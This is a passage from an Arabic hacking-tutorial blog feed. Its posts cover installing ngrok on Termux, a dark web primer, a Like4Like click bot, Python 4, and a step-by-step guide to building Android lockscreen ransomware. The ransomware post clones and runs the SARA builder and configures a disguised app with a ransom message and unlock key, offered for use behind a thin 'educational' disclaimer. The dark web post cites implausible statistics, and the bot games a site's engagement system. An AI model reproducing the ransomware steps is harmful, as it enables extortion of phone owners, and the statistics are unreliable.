3 - الآن لقد أصبح ترمكس جاهز لاستقبال أداة ngrok ، فلنذهب الآن الى أي متصفح على الهاتف و نقوم بالدخول الى الموقع الرسمي لأداة نجروك و نقوم بإنشاء حساب عليه و لإنشاء حساب يمكنك وضع أي اسم و كذلك وضع بريد إلكتروني و كلمة مرور ثم حل اختبار الكابتشا و اضغط على sign up أو يمكنك تخطي كل هذا و إنشاء الحساب عن طريق غوغل بشكل مباشر ، و إن ظهرت لك لرسالة أثناء التسجيل عن طريق حساب غوغل وافق على الشروط و اضغط على crate account ليقوم بإنشاء الحساب .

4- الآن سوف يعود بنا تلقائياً الى الموقع ، و سيظهر لنا الصفحة الرئيسية ، و لكي نحصل على رؤية أفضل قم بتفعيل خيار " الموقع الإلكتروني للكمبيوتر " ، من خيارات المتصفح لديك .

5- بعدها سوف نأتي ونقوم بتحميل الملف المتوفق مع نواة اللينكس لدينا ، ولكي نعرف ما هي النواة الخاصة بترمكس ، نعود الى تطبيق ترمكس على الاندرويد و نكتب الأمر التالي بكل سهولة uname -a .

6- و ستظهر لنا كما تلاحظون نوع النواة الخاصة بترمكس ، بالنسبة لي إنه من نوع ARM64 إذاً سوف أقوم بنسخ رابط التحميل لـ ملف Linux ARM64 من ثم نعود الى تطبيق ترمكس ونكتب wget ثم مسافة ونلصق الرابط ثم نضغط انتر و ننتظر الى أن ينتهي من التحميل .

7- بهذه الطريقة لن تحتاج الى نقل ملف ngrok من الهاتف الى ترمكس ، بل افتراضياً سوف يقوم بتحميل الملف الى ترمكس بشكل مباشر و سيوفر علينا بعض الوقت .

8- بعد اتمام عملية التحميل ، نقوم باستعراض الملفات بالأمر ls و سنلاحظ بأن لدينا ملف مضغوط بصيغة tgz، ولكي نقوم بفك الضغط عنه ، نكتب الامر التالي tar مسافة zxvf ثم مسافة أخرى ونكتب اسم الملف ثم انتر .

9- نكتب ls مجدداً وسنلاحظ بأنه أصبح لدينا ملف آخر باسم ngrok باللون الأخضر ، و إذا لم يكن عندك باللون الأخضر اكتب الأمر التالي حتى يتحصل على الصلاحيات chomd +x ثم ngrok وانتر .

10- الآن كل شيء جهاز تقريباً تبقى خطوة أخيرة فقط ، وهي الاتصال بالحساب على الموقع ، أو إضافة التوكين الخاص بنا ، ولكي نقوم بتطبيق هذا الأمر ، سوف نعود الى الموقع الرسمي لنجروك ، و ننزل الى الأسفل قليلاً عند عنوان " الاتصال بالحساب " و نقوم بأخذ الأمر بالكامل الذي في الأسفل و نعود الى تطبيق ترمكس و نقوم بلصقه ثم انتر .

11- و الآن يا صديقي لقد انتهاينا من تثبيت الأداة ، و لكن تبقى شيء واحد وهو نحتاج الى تجربة الأداة باستخدام الأمر

./ngrok

و نضع المنفذ المراد تشغيله مثلاً http 489 و نضغط على انتر وستلاحظ بأن الأداة لم تعمل و تخبر بأنه قيد محاولة الاتصال .

حل مشكلة عدم الاتصال في اداة نجروك ngrok

لحل مشكلة عدم الاتصال داخل أداة نجروك Ngrok في تطبيق ترمكس ، فقط قم بتشغيل خيار ( نقطة اتصال الهواتف المحمولة ) لديك في الجهاز ثم أعد كتابة أمر فتح البورت في ترمكس وستلاحظ بأن المشكلة قد تم حلها .

شرح تثبيت أداة نجروك بالفيديو

تحميل اداة انجروك على ترمكس

موقع نجروك الرسمي

ختاماً كان هذا كل شيء حول أداة ngrok أتمنى أن تكون قد استفدت يا صديقي منه ، و إن كنت مهتماً حول اختبار الاختراق أخبرني في التعليقات وشارك هذا الموضوع مع أصدقائك ، حتى إن وجدت من هم مهتمين اشرح لكم في درس لاحق عن اختبار الاختراق الخارجي أو أين ما كان الجهاز بمساعدة أداة ngrok ، والى اللقاء .

طريقك الى شبكة الديب ويب و الدارك ويب

noreply@blogger.com (Ammar Ahmad) — Thu, 26 May 2022 20:32:00 +0000

طريقك الى شبكة الديب ويب و الدارك ويب

في هذا الشرح سنعرض لك المخاطر والاحتياطات التي يجب عليك اتخاذها قبل الدخول إلى شبكة الديب ويب و الدارك ويب وتصفحها، بالإضافة إلى إخبارك بأنواع المواقع التي ستجدها في الويب العميق إذا كنت مبتدئًا .

تحذير:إذا كنت تفكر في تسجيل الدخول ، فاستخدم شبكة افتراضية خاصة قوية وموثوقة لحماية معلوماتك ليس من الآمن استخدام هذه الروابط المخفية بدون VPN في نظامك.

يرجى الملاحظة بأننا لن ننشر أي روابط تتعلق بالديب ويب أو الانترنت المظلم Deep Web Dark Web في هذا الشرح و هناك عدة أسباب لعدم نشر الروابط لأن الروابط تتغير باستمرار ، حيث أن بعض المواقع تغلق أو تتحرك لمنعها من الإغلاق هذا يعني أن الرابط المنشور اليوم قد يتوقف عن العمل في اليوم التالي و سبب آخر ، هو أن مجرد نشر روابط البصل تور هذه يمكن أن يسبب مشاكل .

و لكن ستجد في هذا الشرح اليوم العديد من النقاط للدخول وبدء البحث عن صفحات البصل ، أو مرجع جيد لجميع أنواع المجتمعات عبر الإنترنت ، أو عدة صفحات من الخدمات عبر الإنترنت أو محتوى الوسائط المتعددة ذي الصلة و في الواقع ، إذا كنت ستزور المقترحات ، فمن المستحسن أن تفتح هذه المقالة مباشرة من متصفح Tor لتسهيل فتحها جميعًا.

يمكنك العثور على هذا المقال بالكلمات التالية في محرك البحث : روابط الديب ويب 2022 ، روابط البصل 2022 ، المواقع العميقة 2022 ، المواقع المظلمة 2022 ، الروابط تور 2022 .

ما هو الديب ويب و الدارك ويب؟

شبكة الويب العميقة أو كما تعرف بـ الديب ويب و الدارك ويب هي الجزء المخفي من الإنترنت الذي يحتوي على مواد ومعلومات وصفحات ويب غير مفهرسة في أي من محركات البحث الموجودة مثل Google. لذلك في الحالة الافتراضية ، يمكن لمحركات البحث فهرسة المحتوى بالكامل على الويب ، فهذا يعني أن شبكة الويب العميقة ستختفي ، و إذا قمنا بعمل تشابه مع مصفوفة الفيلم المتواجد في الصورة أعلى ، فيمكننا القول إن مجموع الأشخاص الذين يتناولون الحبة الزرقاء سيكونون الأشخاص الذين يتنقلون فقط ويعرفون ما نسميه الشبكة السطحية بينما مجموع الأشخاص الذين سيتناولون الحبة الحمراء هم الأشخاص الذين يعرفون وجود شبكة الويب العميقة أو الانترنت المظلم ، حيث أن 96٪ من الإنترنت لا يمكن الوصول إليه من خلال محركات البحث القياسية ، و يمكنك أن تجد كل شيء هناك في دارك ويب أو حتى ديب ويب مثل المواد الإباحية المتعلقة بالأطفال وغسيل الأموال وشراء المخدرات والأسلحة والكثير من الأشياء الغير قانونية .

ما هو حجم شبكة الديب ويب؟

وفقًا لبيانات من ويكيبيديا في عام 2000 ، كان حجم الإنترنت السطحي 167 تيرابايت ، بينما كان حجم الويب العميق 7500 تيرابايت ، مما يعني أن محتوى الإنترنت المظلم كان أكبر 45 مرة من المعلومات التي لدينا ، و تقدر جامعة كاليفورنيا في بيركلي حاليًا أن الحجم الفعلي للشبكة العميقة هو 91000 تيرابايت.

ماذا يمكن أن نجد في الديب ويب؟

ليست كل محتويات الويب العميق غير قانونية ، فيمكننا العثور على محتوى ممتع ومتنوع مثل :

الملفات والمعلومات المخزنة من قبل حكومات الدول المختلفة و المنظمات التي تخزن المعلومات ، و تخزن وكالة ناسا معلومات حول التحقيقات العلمية التي تجريها و بيانات الأرصاد الجوية والبيانات المالية والأدلة التي تحتوي على معلومات حول برنامج حماية ، و عدد كبير من قواعد البيانات على اختلاف أنواعها ، حيث تمثل قواعد البيانات نسبة مهمة جدًا من المعلومات المخزنة في شبكة الديب ويب deep web ، و منتديات من مواضيع متنوعة ، ومع ذلك يمكننا أيضًا العثور على محتوى غير سار وخطير للغاية مثل الشهود.

ملحوظة: تجدر الإشارة إلى أن 90٪ من المحتوى الموجود في الانترنت المخفي متاح لجميع المستخدمين ، ومحتوى مثل بيع الأدوية والأسلحة والمنتديات المختلفة التي تحتوي على محتوى من Warez وغير ذلك الكثير، و 4٪ من المحتوى مملوك لحكومات ومنظمات ذات قوة عظمى و 6٪ من المحتوى مملوك لمجموعات القتلة المأجورين والجماعات الإرهابية.

الاحتياطات التي يجب أن نتخذها عند التنقل في الانترنت المظلم

لتتمكن من القيام بذلك يفضل استخدامه داخل جهاز افتراضي .
لا تقم بتنزيل أي ملفات ما لم تكن متأكدًا من أنك تعرف ما تقوم بتنزيله. من الممكن أن تجلب الملفات نصوصًا مخفية لذلك فإن مجرد حقيقة تنزيل ملف يمكن أن يعطي معلومات لطرف ثالث عن هويتنا ، و إذا كنت تستخدم Tor-Bundle ، فستتلقى إشعارًا في كل مرة تذهب فيها لأداء عمل "غير آمن".
لا تقم بإجراء التنزيلات أو الدردشة دون إعداد تطبيقات وتنزيلات الدردشة أولاً حتى تكون مجهول الهوية تمامًا في هذه المرحلة ، تجدر الإشارة إلى وجود توزيعة Live-USB تعتمد على دبيان تسمى tails.
لا تدخل في بريدك المعتاد gmail أو hotmail.
لا ينبغي بأي حال من الأحوال إعطاء أدلة حول ما قد تكون عليه هويتك.
لا تفتح ملفات Word أو pdf أو ملفات أخرى ، قد تحتوي هذه الملفات على نصوص تكشف هويتنا ، و في حالة الاضطرار إلى فتح الملفات ، قم بذلك داخل جهاز افتراضي و اقطع الاتصال بالإنترنت.
تجنب تصفح المواقع باستخدام تسميات Candy و Pedo و Bear وما إلى ذلك و المحتوى الذي ستجده غير سار.
لا تقم بتنشيط أي مكون من مكونات المتصفح.

ما هي طرق الدخول إلى شبكة الانترنت المظلم ؟

لا يمكن الوصول إلى جميع المواد التي تنتمي إلى شبكة الديب ويب بالطريقة العادية و للوصول إلى هذا المحتوى ، يتعين علينا الوصول إليه من خلال خادم وكيل ، في حال كنت ترغب في التحقيق وتجربة خيار جيد جدًا للبدء هو القيام بذلك من خلال شبكة Tor، حيث ستسمح لنا شبكة Tor بتصفح كلً من الويب السطحي وداخل شبكة الانترنت المظلم سواء ديب ويب أو دارك ويب Deep Web Dark Web بشكل مجهول وآمن.

إذا قمت بالبحث في الشبكة ، فسترى العديد من الطرق للتنقل في شبكة الويب العميقة باستخدام Tor ،و الحقيقة هي أن هناك عدة خيارات و أنصحك باتبع هذه الخطوات بشكل صحيح ويمكنك الوصول بسهولة إلى شبكة الدارك ويب شرح الدخول من الهاتف - شرح الدخول من الويندوز .

مخاطر شبكة الانترنت الخفي أو الإنترنت العميق

بخلاف ما نعرفه جميعًا ، هناك جزء من الإنترنت يفلت من محركات البحث ويسمح للمستخدمين بالبقاء مجهولين ، بالإضافة إلى ذلك ، يحذر الخبراء من مخاطرهم ووجود مواد إباحية للأطفال وبيع المخدرات في روابط الويب العميقة ، و يوجد وجه إنترنت غير معروف وخطير بسبب الأنشطة المسموح بها هناك ، ومن خلال الخوض في بحر المعرفة هذا لا تتم فهرسة الآلاف والآلاف من صفحات الويب غير المعروفة في محركات البحث الرئيسية مثل Google أو Bing أو Yahoo ، و Deep Web Dark web هو جزء من الإنترنت ليس جزءًا من الإنترنت السطحي ، أو بالأحرى غير مرئي لمحركات البحث لأن المحتوى غير مفهرس وهو عبارة عن روابط الويب العميقة.

فمن الممكن في أسوء الأحوال بنسبة كبيرة بأن تتعرض لاختراق أو تسريب بيانات من جهازك ، وذلك لأن الانترنت المظلم يعتبر كـ الصحراء الكبيرة التي تتواجد بها العديد من الفخاخ ، فإن وضعت قدمك في خطوة خاطئة سوف تقع في الفخ ، و هذا هو الحال المواقع كثيرة في دارك ويب فإن نقرت على رابط أو ملف غير معروف سوف تتحول ملفاتك الى كائن متنقل من جهاز الى جهاز ههه .

ولا تنسى بالتأكيد العقوبات الدولية التي ستتعرض له حين دخولك لهذا الانترنت المظلم و استخدام الأشياء الغير قانونية .

في الختام كان هذا كل شيء بخصوص اليوم إن أردت المزيد حول الانترنت المظلم تصفح القائمة في الأعلى التي بعنوان " الانترنت " ، إن أعجبك الشرح اكتب لي تعليق جيد و شاركه مع أصدقائك ليستفيدوا أيضاً و ابقى حذراً و أراك في درس جديد .

صنع فيروس فدية و اختباره على جهاز أندرويد

noreply@blogger.com (Ammar Ahmad) — Fri, 13 May 2022 16:05:00 +0000

صنع فيروس فدية و اختباره على جهاز أندرويد

مرحباً و أهلاً وسهلاً بكم متابعي القرصان الإلكتروني للتعليم ، سأقدم لكم اليوم شرح عن كيف يتم استغلال الكثير من الناس عبر ما يسمى بـ فايروس الفدية أو برمجية الفدية أو الـ Ransomware ، و التي تكلمنا عنها سابقاً و قدمنا لكم دورة كاملة عنها ، حيث سوف أشرح لكم اليوم كيفية انشاء فيروس فدية بسيط يستهدف الهواتف التي تعمل بنظام أندرويد والجوال الحديث و نقوم بإخفائه داخل تطبيق على حسب مرادنا ، ثم سوف نقوم باختباره على جهاز وهمي و نرى النتائج ، ونتعلم أيضاً كيف نحمي أنفسنا منه ، و أحب أن أخبركم بأن الدرس يمكن تطبيقه من خلال كالي لينكس و كذلك تطبيق ترمكس ، و بأننا لن نتعامل اليوم مع البرمجة لتسهيل الأمر عليكم ، و لكن للعلم هذا الدرس من باب التوعية الأمنية الإلكترونية وكل المواد المذكورة في هذا الدرس من الباب أخذ الحذر لا أكثر ، ولا نسمح باستخدامها في استعمالات تضر الآخرين .
تحذير : هذا الشرح فقط لأغراض تعليمية و غير مسموح في استخدامه لأشياء ضارة

نبذة سريعة عن فيروس الفدية أو Ransomware

فايروس الفدية أو ما يعرف بالمصطلح الإنجليزي هو Ransomware، وهو عبارة عن برمجية خبيثة يتم إنشائها بهدف استغلال أموال الناس أو بيانات أو لطلب فدية معينة ، حيث تصنف هذه البرمجية تحت الفيروسات الخطيرة ، و يعتمد عملها على أن يقوم المهاجم بإرسال ملف يحمل فيروس الفدية بشكل خفي ، سواء كإرسال صورة أو رابط أو حتى فيديو ، و عند التفاعل معها من قبل المستهدف ، يبدأ فيروس الفدية بالعمل على تشفير كافة ملفاته و بيانتها وقفل الجهاز بالكامل و عرض رسالة له تطالبه بإرسال مال أو فدية معينة ، و بعد دفع الفدية يتم تزويد المستهدف بمفتاح فك التشفير لجهازه و بيانتها ليستطيع العمل بها مجدداً .

تجهيز بيئة العمل

أولاً سوف تحتاج الى تثبيت كالي لينكس أو إذا كنت من مستخدمي الهاتف المحمول تستطيع أن تقوم بتطبيق الشرح نفسه بالضبط على تيرمكس ، بالنسبة لي سوف أستخدم في الشرح كالي لينكس و لمعرفة كيفية تثبيته راجع الشروحات السابقة .

سنقوم كالعادة في فتح تيرمنال جديد ، ثم سوف نقوم بكتابة أمر تحديث النظام وهو

sudo apt-get update

بعد الانتهاء من تحديث النظام سوف نحتاج الى تثبيت أداة تسمى APK Tool وهي أداة سوف تساعدنا في إنشاء التطبيق و تكوينه ليعمل على هواتف الأندرويد ، ويمكننا تثبيتها من خلال كتابة الأمر التالي وهو

sudo apt-get install apktool

تحميل فيروس الفدية للاندرويد

يعتبر هذا الشرح من الشروحات الحساسة لذلك وجب حمايته عزيزي المتابع اتبع الخطوات التالية لتكملة القراءة :

بعد ذلك سوف نقوم بالتوجه الى موقع GitHub و نحصل على رابط التحميل للأداة التي سنستخدمها اليوم و نقوم بعمل clone لها من خلال كتابة الأمر التالي ثم لصق الرابط بعده :

git clone https://github.com/termuxhackers-id/SARA.git

و بعد الانتهاء من تحميل الأداة سوف نقوم بالدخول الى المسار الذي تم تنزيل الأداة به باستخدام الأمر التالي :

cd SARA

ثم الآن سوف نقوم بتثبيتها من خلال أمر :

sudo bash install.sh

و أخيراً الآن سوف نقوم بتشغيل الأداة باستخدام بايثون من الأمر التالي :

sudo python3 sara.py

و ستعمل معنا الأداة و تخبرك بالموافقة على استخدامها في الاختبار فقط ، قم بالضغط على حرف Y ثم انتر .

الآن سوف تطلب منك بعض البيانات البسيطة لتكوين التطبيق وهي على الشكل التالي :

SET app_icon (PNG only): قم بوضع اسم أيقونة التطبيق من المسار و الامتداد لها

SET app_name: في الخيار الثاني قم بوضع اسم للتطبيق

SET title: ضع هنا العنوان المراد عرضها للمستخدم عند بدأ التشفير

SET description: و هنا ضع وصف للمستخدم

SET unlock key: وأخيراً هنا ضع مفتاح فك التشفير

و انتظر قليلاً ريثما ينتهي من إنشاء التطبيق ، بعدها قم بالضغط على انتر ليكمل انتهاء العملية و إعطائك تطبيق جاهز للبدأ في الاختبار .

اختبار فيروس الفدية على هاتف اندرويد وهمي

لنبدأ الآن باختبار التطبيق على جهاز وهمي و نرى النتائج :

كما تلاحظون فلقد تم تثبيت التطبيق و بعد النقر عليه ظهرت لنا هذه الرسالة و لم يعد بإمكاننا استخدام الهاتف بالكامل ، و لكن بمجرد أن قمنا بوضع مفتاح فك التشفير عاد كل شيء الى حاله و اختفت الرسالة .

الشرح بالفيديو

لتسهيل الأمر عليك صديقي المتابع كالعادة وضعت لك فيديو يشرح لك جميع الخطوات

الحماية من فيروس الفدية على الاندرويد

لكي تحمي بياناتك الشخصية و ملفاتك بشكل عام ، كالعادة انتبه للمواقع التي تزورها و كذلك لا تستقبل أو تنقر على روابط أو صور أو ملفات مشبوهة أو غير متأكد من محتواه ، و أي ملف تشك في أمره استخدم إحدى خدمات فحص الفيروسات كـ خدمة فايروس توتال .

رابط الأداة والأوامر

ختاماً كان هذا كل شيء بخصوص اليوم ، أتمنى أن تكون قد استفدت صديقي العزيز ، و فضلاً اشترك في القناة ليصلك الجديد و ادعم هذا الفيديو بالإعجاب و المشاركة لأنه بالنسبة لي يدعمونا كثيراً ، وشكراً لك و أراك في درس جديد .

قرصنة موقع Like4like مع بايثون كيف ذلك ؟

noreply@blogger.com (Ammar Ahmad) — Thu, 05 May 2022 23:17:00 +0000

قرصنة موقع Like4like مع بايثون كيف ذلك ؟

مرحباً بكم بعض طول غياب على موقع القرصان الإلكتروني للتعليم و قنواته التعليمية ، لقد عدنا إليكم في شرح مشوق يتحدث عن كيفية زيادة النقاط في موقع Like4Like.org باستخدام بايثون ، وبدون أي مجهود .

ما هو موقع Like4Like

- موقع تبادل الاشتراكات أو الإعجابات أو بما يعرف Like4Like.org هو خدمة إلكترونية على الإنترنت ، تقوم بمساعدة أصحاب قنوات اليوتيوب أو كل من ينشط على وسائل التواصل الإجتماعي ويبحث عن متابعين أو معجبين أو زبائن حقيقين لصفحاته ، من خلال تبادل الاشتراكات فيما بين الزوار أو المستخدمين بشكل قانوني ، حيث أن فكرة الموقع تعتمد على إنشاء حساب في الموقع ، ثم البدأ في جمع النقاط أو الـ coins من خلال متابعة الأخرين أو الإعجاب بمنشوراتهم و برامجهم المسجلة على يوتيوب أو فيسبوك أو حتى تيك توك ، وبعد أن تحصل على بعض النقاط حينها يمكنك أنت المستخدم بأن تقوم باستخدامها داخل الموقع نفسه لجلب المتابعين أو المشتركين إلى قناتك أو صفحتك سواء على فيسبوك أو انستاغرام أو تيك توك أو حتى تويتر و العديد من مواقع التوصل الإجتماعي ، وليس فقط جلب اشتراكات بل وحتى إعجابات على الفيديو الخاص بك أو المنشور وكذلك كتابة التعليقات الرائعة أو حتى الدفع لهم باستخدام النقاط مقابل مشاهدة الفيديوهات الخاصة بك ، وكل ذلك من خلال زبائن حقيقين وليسوا وهمين ، و مجاناً دون دفع أي نقود .

طريقة الحصول علي اكثر من 10000 الف نقطة في موقع Like 4 Like

- لكي تحصل على الكثير من النقاط في موقع لايك فور لايك ، أمامك ثلاث طرق متاحة بشكل قانوني تماماً ، و هي على الشكل التالي :

عن طريق التجميع اليدوي للنقاط و ذلك بأن تقوم بالاشتراك في قنوات المستخدمين على الموقع و الاعجاب في فيديو هاتهم أو منشوراتهم ، وهذه الطرق ستحتاج منك الى بذل جهد كبير و الجلوس أما جهاز الكمبيوتر لوقت طويل .
عن طريق الإحالات ، فيمكنك القيام بدعوة أصدقائك ليقوموا بالتسجيل في الموقع و العمل عليها ، و ستحصل على نسبة من نقاطهم التي يقومون بتجميعها كهدية لك ، و تعد هذه الطريقة غير مناسبة للمبتدأين لأنك ستحتاج الى عدد كبير من الأصدقاء ، وقد لا يرغب البعض منهم في العمل عليه .
عن طريق شراء النقاط مقابل دفع المال ، و ذلك بأن تقوم بالترقية الخطة المدفوعة في الموقع أو شراء نقاط منهم ، وتعتبر هذه الطريقة غير مجانية و غير مناسبة للكثير .

الحصول على آلاف النقاط في موقع like4like باستخدام بايثون

- لقد علمت ما هي الطرق الأساسية التي يمكنك من خلالها أن تحصل على نقاط في موقع like4like في الفقرة السابقة ، و لكن أنا متأكد بأنها لم تتناسب معك ، فلهذا اليوم سأشرح لك طريقة قانونية تستطيع من خلالها الحصول على آلاف النقاط في الموقع بدون تعب و بدون بذل أي جهود ، و هي عن طريق قرصنة موقع like4like باستخدام لغة البايثون ، ولكن حقيقة لن نقوم بأي اختراق أو قرصنة على الموقع لأن ذلك غير قانوني تماماً ولا نسمح بذلك ، ولكن سنقوم اليوم بإنشاء برنامج بسيط يساعدنا على تجميع نقاط بكم هائل داخل الموقع وبدون تعب أو اي جهود وبشكل قانوني 100% ، و لكي تعرف كيف تابع معي الفقرة التالية .

قرصنة موقع Like4Like بالبايثون

- تتكون الفكرة الخاصة بنا ببساطة هي على ان نقوم بإنشاء سكربت برمجي بسيط جداً في لغة بايثون ، مهمته هي أن يقوم بأتمتة المهام على موقع Like4like بدون تدخل منا ، حيث أننا سوف نقوم بإعطائه القيم و الإحداثيات ونعلمه كيف يقوم بالعمل على الموقع ، ثم نقوم بتشغيله و تركه يعمل لوحده ، بينما نكون نحن نائمون أو حتى في الدوام .

و لكي نقوم بإنشاء هذا البرنامج لابد علينا من تنزيل بايثون على النظام الخاص بالحاسوب ، وكذلك تثبيت محرر الأكواد البرمجية التابعة له و المسمى بايشارم ، و تستطيع تحميلهم من الروابط التالية :

تحميل Python

تحميل Pycharm

1 - في الخطوة التالية سنقوم بتثبيتهما ، من ثم سنحتاج الى تثبيت مكتبة للغة البرمجية وتسمى Pyautogui ، وللقيام بذلك كل ما عليك فعله هو فتح نافذة الأوامر في النظام لديك CMD و كتابة الأمر التالي :

pip install pyautogui

و كذلك الحال قم بتطبيق الخطوة السابقة داخل التيرمنال في بايتشرم .

2- من ثم الآن سوف نحتاج الى إنشاء حساب داخل موقع Like4Like و يمكنك استخدام بريد مؤقت من أجل التسجيل استعمل البريد التالي Mohmal، ثم قم باختيار تجميع النقاط من خلال الاشتراك في قنوات اليوتيوب .

3 - بعد ذلك سوف نحتاج الى فتح IDLE في الويندوز من خلال مربع البحث و البحث عنه ، و البدأ في أخذ الاحداثيات لمكان تواجد الماوس على الشاشة و ذلك من خلال استدعاء المكتبة و القيام بكتابة أمر أخذ الطول و العرض :

import pyautogui as pg
pg.position()

ثم نقوم بوضع الماوس على المكان المراد أن نأخذ به الطول و العرض لها و نضغط على انتر .

4- بعد القيام بجمع الاحداثيات لمربعات الاشتراك و التأكيد داخل موقع Like4Like يمكنك الآن فتح محرر الأكواد البرمجية و البدأ في كتابة الكود بناء على الاحداثيات السابقة ، مع استخدام الدالة التالية لتنفيذ أمر النقر على الأزرار :

pg.click(x=  y=)

5- بعد الانتهاء من ترتيب الكود الخاص بك و تجربته قم باستخدام حلقة التكرار لكي يعمل على البرنامج بشكل لا نهائي دون تدخل منك و ذلك من خلال وضع كامل الكود ضمن الدالة :

While True:

و بهذا ستستطيع جمع أكبر كمية من النقاط دون أن تلمس اللابتوب أو الكمبيوتر الخاص بك ، حيث بدأ في العمل نيابة عنك و بكل سهولة .

الشرح بالفيديو

أنا متأكد بأنه لم تتضح لك الفكرة بشكل كامل ، لذلك قمت بإعداد فيديو مفصل عن هذه الطريقة يمكن لأي مبتدأ مشاهدته و تطبيق الخطوات ، فمشاهدة ممتعة

في الختام شكراً لك على تخصيص بعض الوقت للاطلاع على الشرح ، أتمنى أن تكون قد استفدت منه و لا تنسانا من الدعم من خلال مشاركة الموضوع مع أصدقائك و الى اللقاء .

لماذا لا يوجد بايثون 4

noreply@blogger.com (Ammar Ahmad) — Tue, 14 Dec 2021 17:31:00 +0000

لماذا لا يوجد بايثون 4

تعد لغة بايثون هي إحدى أكثر لغات البرمجة شعبيةً حول العالم ، حيث تتميز بسهولة كبيرة في التعلم و قوة في التنفيذ و هي من اللغات العالية المستوى ضمن لغات البرمجة ، و قد بدأت لغة بايثون مثل باقي لغات البرمجة بإصدارات ، حيث تم اطلاق لغة بايثون 2 في إصدارها الأول و كانت ذات شعبية لا بأس به بين المستخدمين و المطورين ، ومع تطور التقنيات و التكنلوجيا و على مر السنين تم تطوير لغة بايثون 3 بإصدار جديد و تعامل مختلف مع الكود البرمجي ، و مازالت python3 حتى يومنا هذا تستخدم و لم يتم التطوير حتى الآن لـ بايثون 4 Python4 ، و قد يتسائل الكثير منكم عن سبب عدم وصول بايثون الى الإصدار الرابع أو 4 مع هذا التطور ، للإجابة عن هذا السؤال تستطيع قراءة هذا الموضوع لتعرف الجواب و ما السبب .

لماذا قد لا تصل python الى python 4

في سؤال وجواب مع Guido van Rossum مبتكر لغة برمجة Python قال ، إنه من "المحرمات تقريبًا التحدث عن Python 4 بمعنى جدي" بعد الترحيل المضطرب من Python 2.0 إلى Python 3.0 ، و أضاف أيضاً ، لا تعلق آمالك بشأن Python 4.0 إنها لن ترى النور أبدًا !.

و في مقابلة مع Microsoft Reactor ، سُئل " فان روسوم " عن مستقبل بايثون وما إذا كانت لغة البرمجة ستشهد إصدارًا 4.0 أم لا ، فأجاب فان روسوم قائلاً ، إنه وأعضاء فريق التطوير الأساسي في بايثون لم يكونوا متحمسين تمامًا لفكرة بايثون 4 ، بعد أن تعلموا دروسًا قيمة أثناء الانتقال من بايثون 2 إلى بايثون 3 ، و عندما ظهر الأخير في شكله النهائي في عام 2008.

و قال في فيديو سؤال وجواب أيضاً ، "لست سعيدًا بفكرة Python 4 ولا أحد في فريق المطورين الأساسيين كذلك حقًا ، لذلك ربما لن يكون هناك 4.0 مطلقًا وسنستمر في الترقيم حتى 3.33 على الأقل" ، و "Python 4 ، في هذه المرحلة عندما يتم ذكرها في فريق التطوير الأساسي ، إنها مزحة إلى حد كبير، و لقد تعلمنا درسنا من Python 3 مقابل 2 ، لذا فمن المحظور التحدث عن Python 4 في إحساس جاد ".

ما سبب عدم تطوير بايثون الى الاصدار الرابع

كان Python 2.7.18 هو الإصدار الأخير في دورة حياة Python 2.7 ، والذي تم إصداره في أبريل 2020. وقد حذر Van Rossum من أن Python 3 لن يكون متوافقًا مع Python 2 ، ولم يتمكن المطورون الذين أنشأوا تبعيات مكتبات البرامج على أساس Python 2 الترقية إلى الإصدار 3.0 ، لذا لقد كانت فترة هجرة بطيئة ومؤلمة امتدت لسنوات ، ومن الواضح أن فان روسوم وزملاؤه. ليسوا في عجلة من أمرهم للعيش من جديد ، و لقد قال فان روسوم ، "عادةً ما أتحدث عن ذلك على أنه خطأ ، لأن Python كانت أكثر نجاحًا مما أدركه المطورون الأساسيون ، ولذا كان يجب أن نكون أكثر وعياً وداعمة للانتقال من Python 2 إلى Python 3" ، و قال ، "في تجربتنا الخاصة ، اعتقدنا أن الانتقال سيكون بسيطًا نسبيًا لأننا كنا جميعًا مثل Einsteins في برمجة Python ، ويمكننا ترجمة الكود من Python 2 إلى Python 3 أثناء نومنا." ، لذا لم يستبعد Van Rossum إمكانية استخدام Python 4.0 تمامًا ، على الرغم من أنه اقترح أن هذا من المحتمل أن يحدث فقط في حالة حدوث تغييرات كبيرة في التوافق مع C. بالنسبة لامتدادات C ، إذا كان هناك عدم توافق كبير مع امتدادات C بدون تغيير اللغة نفسها وإذا كنا قادرين على التخلص من GIL [قفل المترجم العام] ، و إذا حدث أحد هذين الحدثين أو كلاهما ، فمن المحتمل أن سيضطر إلى تسميته 4.0 بسبب مشاكل التوافق على مستوى الامتداد C ".

ولكن مع توقع Python 3.10 في أكتوبر وبعض التحسينات المهمة في السرعة المتوقعة في الإصدار 3.11 ، شدد فان روسوم على أن التركيز كان بشكل كبير على إصدار تحديثات إضافية للغة البرمجة لأطول فترة ممكنة حيث قال ، "لدينا الآن جدول زمني صارم للإصدار السنوي ، لذا بعد [Python 3.10] سيكون 3.11 وبعد ذلك سيكون 3.12 ، وهكذا يمكننا أن نصل إلى 3.99 قبل أن نضطر إلى إضافة رقم آخر. إن إضافة رقم رقمي آخر ليس بالكامل تافهة ، لكنها لا تزال أفضل بكثير من الانتقال من [الإصدار] 3 إلى 4 ، و "إن تسريع بايثون سيكون تصاعديًا بعض السرعات الجديدة ستأتي في 3.11 ثم سنقوم بتسريعها أكثر في 3.12 و 3.13 ، وهكذا."

تسريع بايثون هو التركيز الأساسي لفريق تطوير بايثون الأساسي ، حيث أعلن فان روسوم في قمة اللغة لهذا العام أنه كان يهدف إلى مضاعفة أداء CPython في الإصدار 3.11 ، وخلال المقابلة ، أشار فان روسوم أيضًا إلى الجهود المبذولة لتسريع اللغة من خلال مشاريع خارجية مثل Pyston ، وهو تطبيق Python 3.8.8 الذي بدأ في Dropbox قبل أن يكون مفتوح المصدر ، أصدر مطوروها مؤخرًا Pyston 2.2 ، والذي يعد بتحسين أداء بنسبة 30٪ مقارنة بـ CPython 3.8.8.

قال فان روسوم أيضاً : "إن جعل بايثون أسرع عاد فجأة إلى الصفحة الأولى للأخبار ،آمل أن أتمكن مع فريقي من المساهمة بشيء في هذا المجال لأنني أعرف شيئًا عن هذا المجال" ، و "الآن ، نشعر أن لدينا ما يقرب من عام لإثبات أنه يمكننا تحريك الإبرة في أداء بايثون ، و 3.11 سيكون أسرع بكثير من 3.10."

و كما شارك Van Rossum أفكاره حول لغات البرمجة الأخرى ، قائلاً إنه معجب بقدرة Rust على تحسين كود C ++ واستشهد بـ Go باعتبارها واحدة من أكثر لغات البرمجة "Pythonic" الجديدة المثيرة للاهتمام.

